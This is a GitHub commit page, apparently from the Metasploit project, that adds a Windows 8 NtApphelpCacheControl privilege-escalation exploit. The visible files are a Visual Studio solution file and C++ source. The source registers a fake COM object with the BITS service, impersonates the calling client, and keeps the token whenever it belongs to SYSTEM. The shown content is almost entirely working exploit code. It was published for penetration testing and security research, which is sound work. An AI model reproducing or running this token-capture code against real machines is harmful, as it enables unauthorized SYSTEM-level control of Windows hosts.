Skip to content

Commit 47cd5a3

Browse files
author
Brent Cook
committed
Land rapid7#4562, wchen-r7's Win8 NtApphelpCacheControl privilege escalation
2 parents 7628b11 + 34bbc5b commit 47cd5a3

File tree

12 files changed

+2207
-0
lines changed

12 files changed

+2207
-0
lines changed
Binary file not shown.
Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
2+
Microsoft Visual Studio Solution File, Format Version 12.00
3+
# Visual Studio Express 2013 for Windows Desktop
4+
VisualStudioVersion = 12.0.31101.0
5+
MinimumVisualStudioVersion = 10.0.40219.1
6+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "exploit", "exploit\exploit.vcxproj", "{41275E8F-395F-492A-9770-38FE2FAA9669}"
7+
EndProject
8+
Global
9+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
10+
Debug|Win32 = Debug|Win32
11+
Release|Win32 = Release|Win32
12+
EndGlobalSection
13+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
14+
{41275E8F-395F-492A-9770-38FE2FAA9669}.Debug|Win32.ActiveCfg = Release|Win32
15+
{41275E8F-395F-492A-9770-38FE2FAA9669}.Debug|Win32.Build.0 = Release|Win32
16+
{41275E8F-395F-492A-9770-38FE2FAA9669}.Release|Win32.ActiveCfg = Release|Win32
17+
{41275E8F-395F-492A-9770-38FE2FAA9669}.Release|Win32.Build.0 = Release|Win32
18+
EndGlobalSection
19+
GlobalSection(SolutionProperties) = preSolution
20+
HideSolutionNode = FALSE
21+
EndGlobalSection
22+
EndGlobal
Lines changed: 228 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,228 @@
1+
#include "stdafx.h"
2+
#include <bits.h>
3+
#include <bits4_0.h>
4+
#include <stdio.h>
5+
#include <tchar.h>
6+
#include <lm.h>
7+
#include <iostream>
8+
#include <exception>
9+
#include <string>
10+
#include <comdef.h>
11+
#include <memory>
12+
#include <new>
13+
#include <sddl.h>
14+
15+
// {1941C949-0BDE-474F-A484-9F74A8176A7C}, ensure it's an interface with a registered proxy
16+
IID IID_FakeInterface = { 0x6EF2A660, 0x47C0, 0x4666, { 0xB1, 0x3D, 0xCB, 0xB7, 0x17, 0xF2, 0xFA, 0x2C, } };
17+
18+
class FakeObject : public IUnknown
19+
{
20+
LONG m_lRefCount;
21+
HANDLE* m_ptoken;
22+
23+
void TryImpersonate()
24+
{
25+
if (*m_ptoken == nullptr)
26+
{
27+
HRESULT hr = CoImpersonateClient();
28+
if (SUCCEEDED(hr))
29+
{
30+
HANDLE hToken;
31+
if (OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &hToken))
32+
{
33+
PTOKEN_USER user = (PTOKEN_USER)malloc(0x1000);
34+
DWORD ret_len = 0;
35+
36+
if (GetTokenInformation(hToken, TokenUser, user, 0x1000, &ret_len))
37+
{
38+
LPWSTR sid_name;
39+
40+
ConvertSidToStringSid(user->User.Sid, &sid_name);
41+
42+
if ((wcscmp(sid_name, L"S-1-5-18") == 0) && (*m_ptoken == nullptr))
43+
{
44+
*m_ptoken = hToken;
45+
RevertToSelf();
46+
}
47+
else
48+
{
49+
CloseHandle(hToken);
50+
}
51+
52+
printf("Got Token: %p %ls\n", hToken, sid_name);
53+
LocalFree(sid_name);
54+
}
55+
else
56+
{
57+
printf("Error getting token user %d\n", GetLastError());
58+
}
59+
free(user);
60+
}
61+
else
62+
{
63+
printf("Error opening token %d\n", GetLastError());
64+
}
65+
}
66+
}
67+
}
68+
69+
public:
70+
//Constructor, Destructor
71+
FakeObject(HANDLE* ptoken) {
72+
m_lRefCount = 1;
73+
m_ptoken = ptoken;
74+
*m_ptoken = nullptr;
75+
}
76+
77+
~FakeObject() {};
78+
79+
//IUnknown
80+
HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj)
81+
{
82+
TryImpersonate();
83+
84+
if (riid == __uuidof(IUnknown))
85+
{
86+
*ppvObj = this;
87+
}
88+
else if (riid == IID_FakeInterface)
89+
{
90+
printf("Check for FakeInterface\n");
91+
*ppvObj = this;
92+
}
93+
else
94+
{
95+
*ppvObj = NULL;
96+
return E_NOINTERFACE;
97+
}
98+
99+
AddRef();
100+
return NOERROR;
101+
}
102+
103+
ULONG __stdcall AddRef()
104+
{
105+
TryImpersonate();
106+
return InterlockedIncrement(&m_lRefCount);
107+
}
108+
109+
ULONG __stdcall Release()
110+
{
111+
TryImpersonate();
112+
// not thread safe
113+
ULONG ulCount = InterlockedDecrement(&m_lRefCount);
114+
115+
if (0 == ulCount)
116+
{
117+
delete this;
118+
}
119+
120+
return ulCount;
121+
}
122+
};
123+
124+
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob, __uuidof(IBackgroundCopyJob));
125+
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyManager, __uuidof(IBackgroundCopyManager));
126+
127+
bool DoCaptureToken(HANDLE* ptoken)
128+
{
129+
// If CoInitializeEx fails, the exception is unhandled and the program terminates
130+
131+
IBackgroundCopyJobPtr pJob;
132+
try
133+
{
134+
//The impersonation level must be at least RPC_C_IMP_LEVEL_IMPERSONATE.
135+
HRESULT hr = CoInitializeSecurity(NULL,
136+
-1,
137+
NULL,
138+
NULL,
139+
RPC_C_AUTHN_LEVEL_CONNECT,
140+
RPC_C_IMP_LEVEL_IMPERSONATE,
141+
NULL,
142+
EOAC_DYNAMIC_CLOAKING,
143+
0);
144+
if (FAILED(hr))
145+
{
146+
throw _com_error(hr);
147+
}
148+
149+
// Connect to BITS.
150+
IBackgroundCopyManagerPtr pQueueMgr;
151+
152+
IMonikerPtr pNotify;
153+
154+
CreatePointerMoniker(new FakeObject(ptoken), &pNotify);
155+
156+
hr = CoCreateInstance(__uuidof(BackgroundCopyManager), NULL,
157+
CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pQueueMgr));
158+
159+
if (FAILED(hr))
160+
{
161+
// Failed to connect.
162+
throw _com_error(hr);
163+
}
164+
165+
GUID guidJob;
166+
hr = pQueueMgr->CreateJob(L"BitsAuthSample",
167+
BG_JOB_TYPE_DOWNLOAD,
168+
&guidJob,
169+
&pJob);
170+
171+
if (FAILED(hr))
172+
{
173+
// Failed to connect.
174+
throw _com_error(hr);
175+
}
176+
177+
pJob->SetNotifyInterface(pNotify);
178+
}
179+
catch (const std::bad_alloc &)
180+
{
181+
wprintf(L"Memory allocation failed");
182+
if (pJob)
183+
{
184+
pJob->Cancel();
185+
}
186+
187+
return false;
188+
}
189+
catch (const _com_error &ex)
190+
{
191+
wprintf(L"Error '%ls' occurred during operation", ex.ErrorMessage());
192+
if (pJob)
193+
{
194+
pJob->Cancel();
195+
}
196+
197+
return false;
198+
}
199+
200+
return true;
201+
}
202+
203+
class CoInitializer
204+
{
205+
public:
206+
CoInitializer()
207+
{
208+
CoInitialize(NULL);
209+
}
210+
211+
~CoInitializer()
212+
{
213+
CoUninitialize();
214+
}
215+
};
216+
217+
HANDLE CaptureImpersonationToken()
218+
{
219+
CoInitializer coinit;
220+
HANDLE token = nullptr;
221+
222+
if (DoCaptureToken(&token))
223+
{
224+
return token;
225+
}
226+
227+
return nullptr;
228+
}

0 commit comments

Comments
 (0)